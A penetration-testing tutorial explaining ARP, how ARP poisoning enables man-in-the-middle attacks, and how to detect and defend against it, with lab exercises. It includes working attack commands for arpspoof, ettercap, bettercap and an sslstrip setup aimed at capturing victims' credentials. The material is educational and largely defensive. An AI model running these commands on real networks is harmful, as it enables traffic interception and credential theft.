By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

ARP (Address Resolution Protocol)

ARP (Address Resolution Protocol) is the unsung hero that makes local networks work—it maps IP addresses to MAC addresses, allowing devices to communicate on the same network. While essential for networking, ARP is also one of the most exploitable protocols in cybersecurity. ARP poisoning (spoofing) is a fundamental attack technique used for man-in-the-middle attacks, network sniffing, and session hijacking. Every penetration tester must understand ARP deeply.

What You'll Learn

  • What ARP is and why it's needed
  • How ARP works (request and reply process)
  • ARP table/cache management
  • Gratuitous ARP and proxy ARP
  • ARP poisoning/spoofing attacks
  • Man-in-the-middle attacks via ARP
  • How to detect ARP attacks
  • Defenses against ARP poisoning
  • Tools for ARP attacks and analysis

The Problem ARP Solves

Layer 2 vs Layer 3:

Layer 3 (Network):    IP addresses (logical)
                      Example: 192.168.1.100

Layer 2 (Data Link):  MAC addresses (physical/hardware)
                      Example: 00:1A:2B:3C:4D:5E

Problem:

  • Network layer uses IP addresses
  • Data link layer uses MAC addresses
  • How do we map between them?

Solution: ARP!

Example Scenario:

Computer A wants to send data to Computer B (same network)

Computer A knows:
  - Computer B's IP: 192.168.1.5
  - But needs Computer B's MAC address to send frames

Computer A uses ARP to ask:
  "Who has IP 192.168.1.5? Tell me your MAC address!"

Computer B responds:
  "I have 192.168.1.5! My MAC is AA:BB:CC:DD:EE:FF"

Computer A now knows:
  192.168.1.5 ↔ AA:BB:CC:DD:EE:FF

How ARP Works

ARP Process:

Step 1: ARP Request (Broadcast)
───────────────────────────────
Computer A: "Who has 192.168.1.5?"
Sent to: FF:FF:FF:FF:FF:FF (broadcast - everyone receives)

┌─────────┐
│Computer │ ─────┐
│   A     │      │
└─────────┘      │     "Who has 192.168.1.5?"
                 ├─────────────────────────────→ [All devices]
┌─────────┐      │
│Computer │ ←────┘
│   B     │
└─────────┘


Step 2: ARP Reply (Unicast)
───────────────────────────
Computer B: "I have 192.168.1.5, my MAC is AA:BB:CC:DD:EE:FF"
Sent directly to Computer A

┌─────────┐
│Computer │ ←───── "I'm 192.168.1.5,"
│   A     │        "my MAC is AA:BB:CC:DD:EE:FF"
└─────────┘
           
┌─────────┐
│Computer │ ─────┐
│   B     │      │
└─────────┘      

Step 3: Cache Entry
───────────────────
Computer A stores in ARP cache:
192.168.1.5 → AA:BB:CC:DD:EE:FF

ARP Packet Structure:

┌──────────────────────────────────────┐
│ Hardware Type (Ethernet = 1)         │
│ Protocol Type (IPv4 = 0x0800)        │
│ Hardware Size (6 bytes for MAC)      │
│ Protocol Size (4 bytes for IPv4)     │
│ Opcode (Request = 1, Reply = 2)      │
│ Sender MAC Address                   │
│ Sender IP Address                    │
│ Target MAC Address (00:00:00:00:00:00 for request) │
│ Target IP Address                    │
└──────────────────────────────────────┘

ARP Cache/Table

ARP cache stores recent IP-to-MAC mappings.

Viewing ARP Cache:

Linux:

# View ARP cache
arp -a
ip neigh show
ip neighbor show

# Output:
? (192.168.1.1) at 00:11:22:33:44:55 [ether] on eth0
? (192.168.1.5) at aa:bb:cc:dd:ee:ff [ether] on eth0

Windows:

# View ARP cache
arp -a

# Output:
Interface: 192.168.1.100 --- 0x3
  Internet Address      Physical Address      Type
  192.168.1.1          00-11-22-33-44-55     dynamic
  192.168.1.5          aa-bb-cc-dd-ee-ff     dynamic
  192.168.1.255        ff-ff-ff-ff-ff-ff     static

Cache Entry Types:

Dynamic:

  • Learned automatically via ARP
  • Expires after timeout (typically 2-20 minutes)

Static:

  • Manually configured
  • Never expires (until reboot or deletion)

Managing ARP Cache:

# Linux

# Add static entry
arp -s 192.168.1.5 aa:bb:cc:dd:ee:ff

# Delete entry
arp -d 192.168.1.5

# Clear all entries
ip -s -s neigh flush all

# Windows

# Add static entry
arp -s 192.168.1.5 aa-bb-cc-dd-ee-ff

# Delete entry
arp -d 192.168.1.5

# Clear cache
netsh interface ip delete arpcache

Gratuitous ARP

Gratuitous ARP: Unsolicited ARP announcement.

Purposes:

1. Update Everyone's Cache:

Device announces: "I'm 192.168.1.5 at MAC aa:bb:cc:dd:ee:ff"
All devices update their ARP cache

2. Detect IP Conflicts:

Device sends gratuitous ARP for its own IP
If another device responds: IP conflict!

3. After IP Change:

Device changed IP address
Sends gratuitous ARP to update network

Example:

# Send gratuitous ARP (Linux)
arping -U -c 1 192.168.1.100

# -U: Unsolicited (gratuitous)
# -c 1: Send once

Note: Attackers use gratuitous ARP for poisoning!

Proxy ARP

Proxy ARP: Router answers ARP requests on behalf of another network.

Network A: 192.168.1.0/24
           │
        [Router]
           │
Network B: 192.168.2.0/24

Device on Network A asks: "Who has 192.168.2.5?"
Router (proxy ARP): "I do! (My MAC)"
Router forwards traffic to actual 192.168.2.5

Use case: Make two networks appear as one

ARP Poisoning / ARP Spoofing

ARP poisoning is the most common ARP attack.

How It Works:

Normal scenario:

Client: 192.168.1.100 (MAC: AA:AA:AA:AA:AA:AA)
Router: 192.168.1.1   (MAC: BB:BB:BB:BB:BB:BB)

Client's ARP cache:
192.168.1.1 → BB:BB:BB:BB:BB:BB ✓ (correct)

Attack scenario:

Attacker: 192.168.1.50 (MAC: CC:CC:CC:CC:CC:CC)

1. Attacker sends fake ARP reply to Client:
   "192.168.1.1 is at CC:CC:CC:CC:CC:CC"

2. Client's ARP cache poisoned:
   192.168.1.1 → CC:CC:CC:CC:CC:CC ✗ (attacker's MAC!)

3. Client sends traffic for router to attacker instead

4. Attacker intercepts, reads/modifies, forwards to real router

Man-in-the-Middle (MITM):

Before Attack:
Client ←──────→ Router ←──────→ Internet

After Attack:
Client ←──────→ Attacker ←──────→ Router ←──────→ Internet
               (intercepts)

Bidirectional Poisoning:

Tell Client:    "Router is at Attacker's MAC"
Tell Router:    "Client is at Attacker's MAC"

Result: All traffic between client and router goes through attacker

Performing ARP Poisoning

Tool: arpspoof (dsniff)

# Install
apt install dsniff

# Enable IP forwarding (pass traffic through)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Poison client (tell them router is at attacker's MAC)
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Poison router (tell it client is at attacker's MAC)
# Run in separate terminal
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Now intercept traffic with:
wireshark &
# or
tcpdump -i eth0 -w capture.pcap

Tool: Ettercap

# Install
apt install ettercap-text-only

# GUI mode
ettercap -G

# Steps:
# 1. Select network interface
# 2. Scan for hosts
# 3. Add targets (victim + gateway)
# 4. Start ARP poisoning (MITM menu)
# 5. Start sniffing

# Command-line mode
ettercap -T -M arp:remote /192.168.1.100/ /192.168.1.1/ -i eth0

# -T: Text mode
# -M arp:remote: ARP poisoning
# /192.168.1.100/: Target 1 (victim)
# /192.168.1.1/: Target 2 (gateway)

Tool: Bettercap

# Install
apt install bettercap

# Start bettercap
bettercap -iface eth0

# Interactive commands:
net.probe on              # Discover hosts
net.show                  # List discovered hosts
set arp.spoof.targets 192.168.1.100  # Set target
arp.spoof on              # Start ARP spoofing
net.sniff on              # Start sniffing

# Capture credentials
set net.sniff.local true
set net.sniff.verbose true

What You Can Do with MITM:

1. Sniff traffic (passwords, cookies, data)
2. Modify traffic (inject malware, deface websites)
3. SSL strip (downgrade HTTPS to HTTP)
4. Session hijacking
5. Redirect traffic
6. Denial of Service (drop packets)

SSL Stripping Attack

Combine ARP poisoning with SSL stripping:

# 1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# 2. Redirect HTTP traffic to sslstrip
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# 3. Start sslstrip
sslstrip -l 8080

# 4. Start ARP poisoning
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Result:
# - Victim tries to visit https://site.com
# - Attacker shows http://site.com instead
# - Victim thinks they're secure (doesn't notice http)
# - Attacker captures credentials

Detecting ARP Attacks

Signs of ARP Poisoning:

1. Multiple IPs with Same MAC:

arp -a

# Suspicious:
192.168.1.1   at CC:CC:CC:CC:CC:CC
192.168.1.5   at CC:CC:CC:CC:CC:CC
192.168.1.10  at CC:CC:CC:CC:CC:CC
# Same MAC for different IPs → Likely MITM

2. Frequent ARP Replies:

# Monitor ARP traffic
tcpdump -i eth0 arp

# Too many ARP replies without requests → Suspicious

3. MAC Address Changes:

# Before:
192.168.1.1 → BB:BB:BB:BB:BB:BB

# After:
192.168.1.1 → CC:CC:CC:CC:CC:CC

# MAC changed for same IP → Poisoning!

Detection Tools:

arpwatch

# Install
apt install arpwatch

# Start monitoring
systemctl start arpwatch

# Check logs
tail -f /var/log/syslog | grep arpwatch

# Alerts on:
# - New device
# - MAC address change
# - Flip-flop (IP switching between MACs)

XArp (Windows/Linux)

# Download from: xarp.net
# GUI tool that detects ARP spoofing
# Shows alerts when ARP cache changes suspiciously

Wireshark

# Capture traffic
wireshark

# Filter for ARP
arp

# Look for:
# - Gratuitous ARP from unexpected sources
# - Same MAC for multiple IPs
# - Duplicate IP addresses

Defending Against ARP Attacks

1. Static ARP Entries

Manually configure ARP cache (immune to poisoning):

# Linux
arp -s 192.168.1.1 BB:BB:BB:BB:BB:BB

# Windows
arp -s 192.168.1.1 BB-BB-BB-BB-BB-BB

# Pros: Completely prevents ARP poisoning
# Cons: Doesn't scale, manual management

2. Dynamic ARP Inspection (DAI)

Cisco switches validate ARP packets:

# Cisco switch configuration
ip dhcp snooping
ip dhcp snooping vlan 1
ip arp inspection vlan 1

# Switch checks:
# - Is ARP reply from authorized MAC?
# - Does IP/MAC binding match DHCP table?
# - Drop invalid ARP packets

3. Port Security

# Limit MAC addresses per switch port
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown

# If someone tries to spoof MAC: Port shuts down

4. Network Segmentation

Separate networks:
- Users: 192.168.1.0/24
- Servers: 192.168.10.0/24
- IoT: 192.168.100.0/24

Attacker in user network can't ARP poison servers

5. Encryption (VPN/HTTPS)

ARP poisoning allows traffic interception
But if traffic is encrypted:
- HTTPS: Can't read web traffic
- VPN: Can't read any traffic

Always use encryption!

6. Monitoring Tools

# Run arpwatch continuously
systemctl enable arpwatch
systemctl start arpwatch

# Check logs daily
# Investigate any MAC address changes

7. OS Protection

Linux (arptables):

# Block ARP replies from specific MAC
arptables -A INPUT --source-mac CC:CC:CC:CC:CC:CC -j DROP

Windows (ArpDefender):

  • Free tool that alerts on ARP changes
  • Can block suspicious ARP packets

ARP Scanning

Discover devices on local network using ARP:

arp-scan

# Install
apt install arp-scan

# Scan local network
arp-scan --localnet
arp-scan -l

# Scan specific subnet
arp-scan 192.168.1.0/24

# Output:
192.168.1.1     00:11:22:33:44:55    Cisco Systems
192.168.1.10    aa:bb:cc:dd:ee:ff    Apple Inc
192.168.1.50    11:22:33:44:55:66    Dell Inc

# Faster than ping scan (Layer 2 vs Layer 3)

nmap ARP Scan

# Nmap uses ARP for local network discovery
nmap -sn 192.168.1.0/24

# -sn: Ping scan (no port scan)
# On local network: Uses ARP

netdiscover

# Install
apt install netdiscover

# Passive mode (just listen)
netdiscover -p

# Active scan
netdiscover -r 192.168.1.0/24

# Shows devices as they appear

Try It Yourself (Lab Only!)

Exercise 1: View ARP Cache

# Generate some traffic
ping 8.8.8.8

# View ARP cache
arp -a     # Windows
ip neigh   # Linux

# Identify:
# - Your gateway's MAC
# - Other devices on your network

Exercise 2: ARP Scan

# Install arp-scan
sudo apt install arp-scan

# Scan your network
sudo arp-scan --localnet

# How many devices did you find?

Exercise 3: Monitor ARP Traffic

# Capture ARP packets
sudo tcpdump -i eth0 arp -vv

# In another terminal, ping a device
ping 192.168.1.1

# Observe:
# - ARP request (who-has)
# - ARP reply (is-at)

Exercise 4: ARP Poisoning Demo (ONLY IN YOUR LAB)

⚠️ ONLY ON YOUR OWN LAB - ILLEGAL ON REAL NETWORKS

# Set up 3 VMs:
# - Victim
# - Attacker  
# - Router/gateway

# On attacker:
# 1. Enable forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# 2. Poison both directions
arpspoof -i eth0 -t [victim-ip] [gateway-ip]
# In another terminal:
arpspoof -i eth0 -t [gateway-ip] [victim-ip]

# 3. Capture traffic
tcpdump -i eth0 -w capture.pcap

# 4. On victim, browse websites

# 5. Analyze captured traffic
wireshark capture.pcap

ARP Quick Reference

# View ARP cache
arp -a              # Windows/Linux
ip neigh show       # Linux (modern)

# Add static entry
arp -s IP MAC       # Windows/Linux

# Delete entry
arp -d IP           # Windows/Linux

# Clear cache
ip neigh flush all  # Linux
netsh interface ip delete arpcache  # Windows

# Scan network
arp-scan -l         # Linux
arp-scan 192.168.1.0/24

# Monitor ARP
tcpdump -i eth0 arp
arpwatch

# ARP poisoning (LAB ONLY)
arpspoof -i eth0 -t TARGET GATEWAY
ettercap -T -M arp:remote /TARGET/ /GATEWAY/
bettercap -iface eth0

Resources

Tools:

  • arpspoof (dsniff): ARP poisoning
  • ettercap: MITM framework with ARP poisoning
  • bettercap: Modern MITM tool
  • arp-scan: Fast network discovery
  • arpwatch: ARP monitoring and alerting

Reading:

Practice:

  • Set up lab with VMs
  • Practice ARP scanning
  • Understand ARP poisoning (don't attack real networks!)
  • Configure ARP defenses

Next Steps

  1. Master ARP fundamentals before attempting attacks
  2. Set up a lab (VirtualBox/VMware) for safe practice
  3. Learn Wireshark to analyze ARP traffic
  4. Understand defenses (DAI, port security)
  5. Study other Layer 2 attacks (MAC flooding, VLAN hopping)

ARP is simple but powerful. It's the foundation of local network attacks and essential knowledge for any penetration tester!

"ARP: Trust everyone on the LAN. What could go wrong?"

Up next

TCP, UDP and Ports

Understanding transport layer protocols and port numbers.